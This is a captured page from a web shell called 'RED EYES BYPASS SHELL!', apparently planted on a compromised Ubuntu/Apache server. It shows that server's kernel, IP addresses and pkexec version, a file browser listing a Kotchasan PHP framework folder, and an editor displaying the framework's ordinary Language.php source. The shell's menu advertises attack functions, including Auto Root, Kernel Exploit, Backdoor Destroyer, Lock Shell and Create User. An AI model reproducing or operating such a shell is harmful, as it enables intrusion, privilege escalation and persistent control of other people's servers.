Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Language.php
<?php /** * @filesource Kotchasan/Language.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Class สำหรับการโหลดภาษา * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ final class Language extends \Kotchasan\KBase { /** * ภาษาทั้งหมดที่ติดตั้ง * * @var array */ private static $installed_languages; /** * ชื่อภาษาที่กำลังใช้งานอยู่ * * @var string */ private static $language_name; /** * รายการภาษา * * @var object */ private static $languages = null; /** * ค้นหาข้อความภาษาที่ต้องการ ถ้าไม่พบคืนค่า $default * ถ้าไม่ระบุ $default (null) คืนค่า $key * ถ้าระบุ $key มาด้วยและ ค่าของภาษาเป็นแอเรย์ จะคืนค่า แอเรย์ของภาษาที่ $key * ถ้าไม่พบข้อมูลที่เลือกคืนค่า null * * @assert ('XYZ', array()) [==] array() * @assert ('YEAR_OFFSET') [==] 543 * @assert ('DATE_LONG', null, 0) [==] 'อาทิตย์' * @assert ('not found', 'default') [==] 'default' * * @param string $name * @param mixed $default * @param mixed $key */ public static function find($name, $default = null, $key = null) { if (null === self::$languages) { new static(); } if (isset(self::$languages->{$name})) { $item = self::$languages->$name; if (is_array($item)) { if ($key !== null && isset($item[$key])) { return $item[$key]; } } else { return $item; } } return $default === null ? $name : $default; } /** * ฟังก์ชั่นอ่านภาษาที่ * ถ้าไม่พบ $key ที่ต้อง * $default = null (หรือไม่ระบุ) คืนค่า $key * $default = อื่นๆ คืนค่า $default * * @assert ('YEAR_OFFSET') [==] 543 * @assert ('XYZ', array()) [==] array() * * @param string $key ข้อความในภาษาอังกฤษ หรือ คีย์ของภาษา * @param mixed $default ถ้าไม่ระบุ (null) และไม่พบ $key * * @return mixed */ public static function get($key, $default = null) { if (null === self::$languages) { new static(); } return isset(self::$languages->{$key}) ? self::$languages->{$key} : ($default === null ? $key : $default); } /** * อ่านภาษาหลายรายการ ตามที่กำหนดโดย $keys * * @param array $keys * * @return array */ public static function getItems(array $keys = array()) { if (null === self::$languages) { new static(); } $result = array(); foreach ($keys as $i => $key) { $result[is_int($i) ? $key : $i] = isset(self::$languages->{$key}) ? self::$languages->{$key} : $key; } return $result; } /** * โหลดไฟล์ภาษาทั้งหมดที่ติดตั้ง * คืนค่าข้อมูลภาษาทั้งหมด * * @param string $type * * @return array */ public static function installed($type) { $language_folder = self::languageFolder(); $datas = array(); foreach (self::installedLanguage() as $lng) { if ($type == 'php') { if (is_file($language_folder.$lng.'.php')) { // php $datas[$lng] = include $language_folder.$lng.'.php'; } } elseif (is_file($language_folder.$lng.'.js')) { // js $list = file($language_folder.$lng.'.js'); foreach ($list as $item) { if (preg_match('/var\s+(.*)\s+=\s+[\'"](.*)[\'"];/', $item, $values)) { $datas[$lng][$values[1]] = $values[2]; } } } } // จัดกลุ่มภาษาตาม key $languages = array(); foreach ($datas as $language => $values) { foreach ($values as $key => $value) { $languages[$key][$language] = $value; if (is_array($value)) { $languages[$key]['array'] = true; } } } // จัดกลุ่มภาษาตาม id $datas = array(); $i = 0; foreach ($languages as $key => $row) { $datas[$i] = ArrayTool::replace(array('id' => $i, 'key' => $key), $row); ++$i; } return $datas; } /** * รายชื่อภาษาที่ติดตั้ง * * @return array */ public static function installedLanguage() { if (!isset(self::$installed_languages)) { $language_folder = self::languageFolder(); $files = array(); File::listFiles($language_folder, $files); foreach ($files as $file) { if (preg_match('/(.*\/([a-z]{2,2}))\.(php|js)$/', $file, $match)) { self::$installed_languages[$match[2]] = $match[2]; } } } return self::$installed_languages; } /** * ตรวจสอบคีย์ของภาษาซ้ำ * คืนค่าลำดับที่พบ (รายการแรกคือ 0), คืนค่า -1 ถ้าไม่พบ * * @assert (array(array('id' => 0, 'key' => 'One'), array('id' => 100, 'key' => 'Two')), 'One') [==] 0 * @assert (array(array('id' => 0, 'key' => 'One'), array('id' => 100, 'key' => 'Two')), 'two') [==] 100 * @assert (array(array('id' => 0, 'key' => 'One'), array('id' => 100, 'key' => 'Two')), 'O') [==] -1 * * @param array $languages ข้อมูลภาษาที่ต้องการตรวจสอบ * @param string $key รายการที่ต้องการตรวจสอบ * * @return int */ public static function keyExists($languages, $key) { foreach ($languages as $item) { if (strcasecmp($item['key'], $key) == 0) { return $item['id']; } } return -1; } /** * ตรวจสอบว่ามีตัวแปรภาษาที่เป็นแอเรย์ในคีย์ที่เลือกหรือไม่ * คืนค่า true ถ้ามี * คืนค่า false ถ้าไม่มีหรือไม่ใช่แอเรย์ * * @assert ('DATE_LONG', 1) [==] true * @assert ('DATE_LONG', 7) [==] false * * @param string $name * @param string|int $key * * @return bool */ public static function arrayKeyExists($name, $key) { if (null === self::$languages) { new static(); } return is_array(self::$languages->{$name}) && isset(self::$languages->{$name}[$key]); } /** * ฟังก์ชั่นอ่านชื่อโฟลเดอร์เก็บไฟล์ภาษา * * @return string */ public static function languageFolder() { return ROOT_PATH.'language/'; } /** * อ่านชื่อภาษาที่กำลังใช้งานอยู่ * * @assert () [==] 'th' * * @return string */ public static function name() { if (null === self::$languages) { new static(); } return self::$language_name; } /** * กำหนดภาษาที่ต้องการ * * @param string $language * * @return string */ public static function setName($language) { if (null === self::$languages || $language !== self::$languages) { new static($language); } return self::$language_name; } /** * ฟังก์ชั่นแปลภาษาที่รับค่ามาจากการ parse Theme * * @assert (array(1 => 'not found')) [==] 'not found' * * @param array $match ตัวแปรรับค่ามาจากการ parse Theme * * @return string */ public static function parse($match) { return self::get($match[1]); } /** * คืนค่าภาษาตาม $key * และแทนที่ข้อความ ที่ $replace array(':key' => 'value', ':key' => 'value') * * @assert ('You want to :action', array(':action' => 'delete')) [==] 'You want to delete' * * @param string $key * @param array $replace * * @return mixed */ public static function replace($key, $replace) { if (null === self::$languages) { new static(); } $value = isset(self::$languages->$key) ? self::$languages->$key : $key; foreach ($replace as $k => $v) { $v = isset(self::$languages->$v) ? self::$languages->$v : $v; $value = str_replace($k, $v, $value); } return $value; } /** * บันทึกไฟล์ภาษา * * @param array $languages * @param string $type * * @return string */ public static function save($languages, $type) { $datas = array(); foreach ($languages as $items) { foreach ($items as $key => $value) { if (!in_array($key, array('id', 'key', 'array', 'owner', 'type', 'js'))) { $datas[$key][$items['key']] = $value; } } } $language_folder = self::languageFolder(); foreach ($datas as $lang => $items) { $list = array(); foreach ($items as $key => $value) { if ($type == 'js') { if (is_string($value)) { $list[] = "var $key = '$value';"; } else { $list[] = "var $key = $value;"; } } elseif (is_array($value)) { $save = array(); foreach ($value as $k => $v) { $data = ''; if (preg_match('/^[0-9]+$/', $k)) { $data = $k.' => '; } else { $data = '\''.$k.'\' => '; } if (is_string($v)) { $data .= '\''.$v.'\''; } else { $data .= $v; } $save[] = $data; } $list[] = '\''.$key."' => array(\n ".implode(",\n ", $save)."\n )"; } elseif (is_string($value)) { $list[] = '\''.$key.'\' => \''.($value).'\''; } else { $list[] = '\''.$key.'\' => '.$value; } } $file = $language_folder.$lang.'.'.$type; // save $f = @fopen($file, 'wb'); if ($f !== false) { if ($type == 'php') { $content = '<'."?php\n/* language/$lang.php */\nreturn array(\n ".implode(",\n ", $list)."\n);"; } else { $content = implode("\n", $list); } fwrite($f, $content); fclose($f); if (function_exists('opcache_invalidate')) { // reset file cache opcache_invalidate($file); } } else { return sprintf(self::get('File %s cannot be created or is read-only.'), $lang.'.'.$type); } } return ''; } /** * แปลภาษา * * @assert ('ภาษา {LNG_DATE_FORMAT} ไทย') [==] 'ภาษา d M Y เวลา H:i น. ไทย' * * @param string $content * * @return string */ public static function trans($content) { return preg_replace_callback('/{LNG_([^}]+)}/', function ($match) { return Language::get($match[1]); }, $content); } /** * โหลดภาษาตามที่เลือก * * @param string $lang */ public static function load($lang) { // โฟลเดอร์ ภาษา $language_folder = self::languageFolder(); if (is_file($language_folder.$lang.'.php')) { $language = include $language_folder.$lang.'.php'; if (isset($language)) { self::$languages = (object) $language; self::$language_name = $lang; } } } /** * โหลดภาษา * * @param string $lang ภาษาที่ต้องการ ถ้าไม่ระบุจะอ่านจาก cookie my_lang */ private function __construct($lang = null) { // โฟลเดอร์ ภาษา $language_folder = self::languageFolder(); // ภาษาที่เลือก if ($lang === null) { $lang = self::$request->get('lang', self::$request->cookie('my_lang', '')->toString())->filter('a-z'); } if (empty($lang)) { if (defined('INIT_LANGUAGE')) { if (INIT_LANGUAGE === 'auto') { // ภาษาจาก Browser $languages = self::$request->getAcceptableLanguages(); if (!empty($languages) && preg_match('/^([a-z]{2,2}).*?$/', strtolower($languages[0]), $match)) { $lang = $match[1]; } else { $lang = 'th'; } } else { // ใช้ภาษาเริ่มต้นจากที่กำหนดมา $lang = INIT_LANGUAGE; } } } // ตรวจสอบภาษา ใช้ภาษาแรกที่เจอ foreach (ArrayTool::replace(array($lang => $lang), self::$cfg->languages) as $item) { if (!empty($item)) { if (is_file($language_folder.$item.'.php')) { $language = include $language_folder.$item.'.php'; if (isset($language)) { self::$languages = (object) $language; self::$language_name = $item; // บันทึกภาษาที่กำลังใช้งานอยู่ลงใน cookie setcookie('my_lang', $item, time() + 2592000, '/'); break; } } } } if (null === self::$languages) { // default language self::$language_name = 'th'; self::$languages = (object) array( 'DATE_FORMAT' => 'd M Y เวลา H:i น.', 'DATE_LONG' => array( 0 => 'อาทิตย์', 1 => 'จันทร์', 2 => 'อังคาร', 3 => 'พุธ', 4 => 'พฤหัสบดี', 5 => 'ศุกร์', 6 => 'เสาร์' ), 'DATE_SHORT' => array( 0 => 'อา.', 1 => 'จ.', 2 => 'อ.', 3 => 'พ.', 4 => 'พฤ.', 5 => 'ศ.', 6 => 'ส.' ), 'YEAR_OFFSET' => 543, 'MONTH_LONG' => array( 1 => 'มกราคม', 2 => 'กุมภาพันธ์', 3 => 'มีนาคม', 4 => 'เมษายน', 5 => 'พฤษภาคม', 6 => 'มิถุนายน', 7 => 'กรกฎาคม', 8 => 'สิงหาคม', 9 => 'กันยายน', 10 => 'ตุลาคม', 11 => 'พฤศจิกายน', 12 => 'ธันวาคม' ), 'MONTH_SHORT' => array( 1 => 'ม.ค.', 2 => 'ก.พ.', 3 => 'มี.ค.', 4 => 'เม.ย.', 5 => 'พ.ค.', 6 => 'มิ.ย.', 7 => 'ก.ค.', 8 => 'ส.ค.', 9 => 'ก.ย.', 10 => 'ต.ค.', 11 => 'พ.ย.', 12 => 'ธ.ค.' ) ); } if (!defined('LANGUAGE')) { /* ลงทะเบียนภาษาที่ใช้งานอยู่ */ define('LANGUAGE', self::$language_name); } } }
Close